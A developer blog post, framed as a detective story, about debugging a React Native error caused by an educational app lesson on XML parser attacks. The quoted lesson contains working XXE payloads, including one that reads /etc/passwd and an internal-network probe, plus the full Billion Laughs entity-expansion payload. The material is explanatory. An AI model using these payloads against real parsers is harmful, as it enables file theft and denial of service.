A Crime in React Nativeland —A Nightmare on Content Street
Note: This story is Part I of the series. For Part II, click here.
Modern software is a giant stack of abstractions piled on top of one another, with each layer enhancing the layer beneath it. Hunting down a problem in this Great Tower of Abstractions can sometimes feel like a hopeless task.
The only sure way to track down a mysterious bug is by investigating it like a detective.
Programming is more about reading than writing
The majority of a programmer’s time is spent reading code, not writing it.
Uncle Bob famously said that:
the ratio of time spent reading versus writing code is well over 10 to 1. We are constantly reading old code as part of the effort to write new code.
Knowing how to dissect code and understand what’s going on is a crucial skill. Especially when the code is causing us trouble.
Debugging is difficult
Before we can solve a problem in software, first we must understand the What, How, and Why of it.
Note: this is the opposite of how you should approach building software (or most things for that matter), which should follow the Why, How and What direction.
This can be a daunting task.
It’s not always clear which clue to follow.
It can take a long time and the problem will lurk in your subconsciousness.
Sometimes the journey takes you much further than you thought it would.
Through all the difficulties, the approach that gives the best results is being rigorous, objective, and analytical, not unlike a detective.
Debugging is solving a crime
Debugging a software problem is in many ways similar to a crime investigation.
To get to the bottom of a software whodunit, you need to interview witnesses (users), gather evidence, find suspects, test hypotheses, and ultimately solve the mystery of what happened.
Whodunit is a story or play about a crime in which the identity of the perpetrator is not revealed until the end. The term is a play on the phrase “who did it”.
Except you don’t usually get to wear a fancy hat.
Sometimes you even end up chasing yourself:
The town of EnkiApp
This story begins in the Universe of Software, on the planet MobileDev, in the country of React Nativeland. Among its many towns, located in the Education district, lies the recently built town of EnkiApp.
The building block of EnkiApp is called an Insight.
The content of the insight is written using YAML and Markdown (using our own custom format). All of EnkiApp’s content is open-sourced and anyone can view it or contribute if they like.
Here’s the content for the insight shown above.
The content is added to EnkiApp by merging PRs on Github. For every merged PR, the content is parsed and validated, before getting deployed to all Enkizens.
The crime
While testing the release of the Application Security Skill, a cryptic error emerged:
Can’t find document? What? But we’re in React Nativeland and not the RealmOfWeb, there is no document 🤔.
Looks like we just entered the first stage of debugging:
- That can’t happen
- That doesn’t happen on my machine
- That shouldn’t happen
- Why does that happen?
- Oh, I see
- How did that ever work?
Time to put on our detective hat.
First hypothesis
Let’s look at the Insight causing this problem.
The topic of the Insight is attacks against XML parsers.
That sounds suspicious.
Could it be that we got hacked by parsing content containing code to hack parsers? 😅
A joke walks into a bar. The bartender says, “That’s weird, I’ve never meta joke before”
Let’s take a careful look at the content.
Scrolling down a bit one can notice an interesting section:
This Insight contains the exact XML code for a well known hack that breaks XML parsers, called the “Billion Laughs” attack.
When an XML parser loads this document, it sees that it includes one root element, “lolz”, that contains the text “&lol9;”. However, “&lol9;” is a defined entity that expands to a string containing ten “&lol8;” strings. Each “&lol8;” string is a defined entity that expands to ten “&lol7;” strings, and so on. After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually contain ¹⁰⁹ = a billion “lol”s, taking up almost 3 gigabytes of memory.
When this Insight gets served to the app, it looks something like this:
OWASP describes XXE as Xternal XML Entities, which is a vulnerability vector in XML documents that allows them to embed other documents, including local system files, in XML documents. If these processors run or execute these files with elevated permissions, attackers can inject malicious instructions in their XML files.\n\nThese examples from *OWASP's Top Ten* list show how the data can be configured to execute external scripts:\n\n**Scenario #1**: The attacker attempts to extract data from the\nserver:\n\n```bash\n<?xml version=\"1.0\"\n encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM\n \"file:///etc/passwd\" >]>\n<foo>&xxe;</foo>\n```\n\n**Scenario #2**: An attacker probes the server's private network by\nchanging the above ENTITY line to:\n\n```bash\n<!ENTITY xxe\nSYSTEM \"https://192.168.1.1/private\" >]>\n```\n\n**Scenario #3**: An attacker attempts a denial-of-service attack by\nincluding a potentially endless file:\n\n```bash\n<!ENTITY xxe\nSYSTEM \"file:///dev/random\" >]>\n```\n\nHere's an example of this attack that was a widespread problem due to it's simplicity, called the **Billion Laughs Attack**:\n\n```bash\n<?xml version=\"1.0\"?>\n<!DOCTYPE lolz [\n <!ENTITY lol \"lol\">\n <!ELEMENT lolz (#PCDATA)>\n <!ENTITY lol1\n \"&lol;&lol;&lol;&lol;&lol;\n &lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2\n \"&lol1;&lol1;&lol1;&lol1;&lol1;\n &lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3\n \"&lol2;&lol2;&lol2;&lol2;&lol2;\n &lol2;&lol2;&lol2;&lol2;&lol2;\">\n <!ENTITY lol4\n \"&lol3;&lol3;&lol3;&lol3;&lol3;\n &lol3;&lol3;&lol3;&lol3;&lol3;\">\n <!ENTITY lol5\n \"&lol4;&lol4;&lol4;&lol4;&lol4;\n &lol4;&lol4;&lol4;&lol4;&lol4;\">\n <!ENTITY lol6\n \"&lol5;&lol5;&lol5;&lol5;&lol5;\n &lol5;&lol5;&lol5;&lol5;&lol5;\">\n <!ENTITY lol7\n \"&lol6;&lol6;&lol6;&lol6;&lol6;\n &lol6;&lol6;&lol6;&lol6;&lol6;\">\n <!ENTITY lol8\n \"&lol7;&lol7;&lol7;&lol7;&lol7;\n &lol7;&lol7;&lol7;&lol7;&lol7;\">\n <!ENTITY lol9\n \"&lol8;&lol8;&lol8;&lol8;&lol8;\n &lol8;&lol8;&lol8;&lol8;&lol8;\">\n]>\n<lolz>&lol9;</lolz>\n```\n\nFrom Wikipedia:\n\n>When an XML parser loads this document, it sees that it includes one root element, \"lolz\", that contains the text \"&lol9;\". However, \"&lol9;\" is a defined entity that expands to a string containing ten \"&lol8;\" strings. Each \"&lol8;\" string is a defined entity that expands to ten \"&lol7;\" strings, and so on. After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually contain 109 = a billion \"lol\"s, taking up almost 3 gigabytes of memory.\nThe “Billion Laughs” exploit trick is in the &lol9; entity. This entity encodes 10 instances of the &lol8; entity which itself encodes 10 instances of &lol7; etc. In other words, &lol9; generates 10¹⁰ = 1B entities.
Let’s stop and think. Are we on the right track?
One obvious signal that we might not be is the error message.
The “Billion Laughs” attack would lead to memory overflow problems. It doesn’t explain how we ended up needing a web environment global (i.e. document) in React Nativeland.
Even so, maybe our problem is a side-effect of this error, not a direct consequence?
How can we test this?
Instead of solving the problem, how about we try and eliminate it?
Let’s slowly trim down the insight to try and isolate the minimal string that still causes the error.
After removing most of the content, the error still happens for this string:
&lol9;Hmmmm….but are we actually generating a billion lols?
Let’s keep trimming.
Turns out the minimum invalid input that still generates the same error is this one:
&;The ; on its own doesn’t cause issues.
Good news, it isn’t the lols.
Bad news, what next? 😅
Note: This article is Part I of the series. For Part II, click here.
